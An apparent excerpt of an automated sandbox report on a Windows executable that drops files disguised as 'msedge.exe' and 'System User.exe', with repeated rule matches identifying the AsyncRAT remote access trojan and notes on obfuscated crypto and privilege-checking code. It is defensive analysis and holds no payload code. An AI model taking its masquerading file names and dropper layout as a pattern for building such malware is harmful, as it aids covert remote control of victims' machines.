Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF588BD0	0_2_00007FF7FF588BD0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A69D4	0_2_00007FF7FF5A69D4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF589870	0_2_00007FF7FF589870
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A18E4	0_2_00007FF7FF5A18E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF59DF60	0_2_00007FF7FF59DF60
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF598804	0_2_00007FF7FF598804
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF591FD0	0_2_00007FF7FF591FD0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A9798	0_2_00007FF7FF5A9798
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5917B0	0_2_00007FF7FF5917B0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF599F10	0_2_00007FF7FF599F10
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A5EEC	0_2_00007FF7FF5A5EEC
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF58AD1D	0_2_00007FF7FF58AD1D
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF593610	0_2_00007FF7FF593610
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF59E5E0	0_2_00007FF7FF59E5E0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF591DC4	0_2_00007FF7FF591DC4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF595DA0	0_2_00007FF7FF595DA0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A3C80	0_2_00007FF7FF5A3C80
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF592C80	0_2_00007FF7FF592C80
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A0938	0_2_00007FF7FF5A0938
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A6488	0_2_00007FF7FF5A6488
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A5C70	0_2_00007FF7FF5A5C70
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF58A4E4	0_2_00007FF7FF58A4E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF58A34B	0_2_00007FF7FF58A34B
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF591BC0	0_2_00007FF7FF591BC0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF59DACC	0_2_00007FF7FF59DACC
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A0938	0_2_00007FF7FF5A0938
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF598154	0_2_00007FF7FF598154
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A411C	0_2_00007FF7FF5A411C
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF593A14	0_2_00007FF7FF593A14
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5921D4	0_2_00007FF7FF5921D4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5919B4	0_2_00007FF7FF5919B4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF581000	2_2_00007FF7FF581000
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A69D4	2_2_00007FF7FF5A69D4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF589870	2_2_00007FF7FF589870
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A18E4	2_2_00007FF7FF5A18E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF59DF60	2_2_00007FF7FF59DF60
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF598804	2_2_00007FF7FF598804
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF591FD0	2_2_00007FF7FF591FD0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A9798	2_2_00007FF7FF5A9798
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5917B0	2_2_00007FF7FF5917B0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF599F10	2_2_00007FF7FF599F10
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A5EEC	2_2_00007FF7FF5A5EEC
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF58AD1D	2_2_00007FF7FF58AD1D
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF593610	2_2_00007FF7FF593610
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF59E5E0	2_2_00007FF7FF59E5E0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF591DC4	2_2_00007FF7FF591DC4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF595DA0	2_2_00007FF7FF595DA0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A3C80	2_2_00007FF7FF5A3C80
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF592C80	2_2_00007FF7FF592C80
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A0938	2_2_00007FF7FF5A0938
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A6488	2_2_00007FF7FF5A6488
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A5C70	2_2_00007FF7FF5A5C70
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF58A4E4	2_2_00007FF7FF58A4E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF58A34B	2_2_00007FF7FF58A34B
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF591BC0	2_2_00007FF7FF591BC0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF588BD0	2_2_00007FF7FF588BD0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF59DACC	2_2_00007FF7FF59DACC
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A0938	2_2_00007FF7FF5A0938
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF598154	2_2_00007FF7FF598154
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A411C	2_2_00007FF7FF5A411C
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF593A14	2_2_00007FF7FF593A14
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5921D4	2_2_00007FF7FF5921D4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5919B4	2_2_00007FF7FF5919B4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB6073FC	2_2_00007FFBBB6073FC
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB6023B0	2_2_00007FFBBB6023B0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB605F00	2_2_00007FFBBB605F00
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB6012B0	2_2_00007FFBBB6012B0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB602F70	2_2_00007FFBBB602F70
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB608F50	2_2_00007FFBBB608F50
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB601A00	2_2_00007FFBBB601A00
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB6055D0	2_2_00007FFBBB6055D0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB604650	2_2_00007FFBBB604650
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB601920	2_2_00007FFBBB601920
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB60F524	2_2_00007FFBBB60F524
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB6377E8	2_2_00007FFBBB6377E8
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB633DC0	2_2_00007FFBBB633DC0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB632DA0	2_2_00007FFBBB632DA0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB63C890	2_2_00007FFBBB63C890
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB636060	2_2_00007FFBBB636060
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBB633B20	2_2_00007FFBBB633B20
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBCD48300	2_2_00007FFBBCD48300
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FFBBCD463A0	2_2_00007FFBBCD463A0
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Code function: 12_2_00007FFB49896E72	12_2_00007FFB49896E72
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Code function: 12_2_00007FFB49891290	12_2_00007FFB49891290
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Code function: 12_2_00007FFB498960C6	12_2_00007FFB498960C6
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Code function: 12_2_00007FFB49891719	12_2_00007FFB49891719
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Code function: 12_2_00007FFB498920F1	12_2_00007FFB498920F1
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Code function: 12_2_00007FFB4989108A	12_2_00007FFB4989108A
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Code function: 14_2_00007FFB498C6DB0	14_2_00007FFB498C6DB0
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Code function: 14_2_00007FFB498D2540	14_2_00007FFB498D2540
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Code function: 14_2_00007FFB498C4928	14_2_00007FFB498C4928
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 38_2_00007FFB498A1719	38_2_00007FFB498A1719
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 38_2_00007FFB498A1038	38_2_00007FFB498A1038
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 38_2_00007FFB498A20F1	38_2_00007FFB498A20F1
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 39_2_00007FFB498B1719	39_2_00007FFB498B1719
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 39_2_00007FFB498B1038	39_2_00007FFB498B1038
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 39_2_00007FFB498B20F1	39_2_00007FFB498B20F1
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 40_2_00007FFB49891719	40_2_00007FFB49891719
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 40_2_00007FFB49891038	40_2_00007FFB49891038
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 40_2_00007FFB498920F1	40_2_00007FFB498920F1
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 42_2_00007FFB498D1719	42_2_00007FFB498D1719
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 42_2_00007FFB498D1038	42_2_00007FFB498D1038
Source: C:\Users\user\AppData\Roaming\System User.exe	Code function: 42_2_00007FFB498D20F1	42_2_00007FFB498D20F1

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\_MEI4322\VCRUNTIME140.dll 36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: String function: 00007FF7FF582910 appears 34 times
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: String function: 00007FF7FF582710 appears 104 times

Source: C:\Users\user\AppData\Local\Temp\dddd.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6476 -s 2224

Source: unicodedata.pyd.0.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: YgJ5inWPQO.exe, 00000000.00000003.1464730716.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1465060554.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1463734787.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1464879729.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1464219398.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1472115949.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1463949860.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000000.00000003.1471950558.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe	Binary or memory string: OriginalFilename vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe4 vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe4 vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe4 vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1477651096.000001D8A9479000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000002.1507486913.00007FFBAAEE2000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython313.dll. vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe4 vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe4 vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe4 vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs YgJ5inWPQO.exe
Source: YgJ5inWPQO.exe, 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe4 vs YgJ5inWPQO.exe

Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 12.0.msedge.exe.3d0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\System User.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\msedge.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: msedge.exe.2.dr, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: msedge.exe.2.dr, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: msedge.exe.2.dr, 0z3ZIhpJfhq2njFq0TTjg8sopVsEWVPb24mSwU4g0QL4dxjF7JdE4QOgJ40VPuiaU.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, 0z3ZIhpJfhq2njFq0TTjg8sopVsEWVPb24mSwU4g0QL4dxjF7JdE4QOgJ40VPuiaU.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, 0z3ZIhpJfhq2njFq0TTjg8sopVsEWVPb24mSwU4g0QL4dxjF7JdE4QOgJ40VPuiaU.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: msedge.exe.2.dr, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: msedge.exe.2.dr, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: YgJ5inWPQO.exe, 00000002.00000002.1493989568.000001D8A78AC000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1492997781.000001D8A78AA000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487831431.000001D8A78A9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBp@Y@.

Source: classification engine

Classification label: mal100.troj.evad.winEXE@49/42@6/6

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

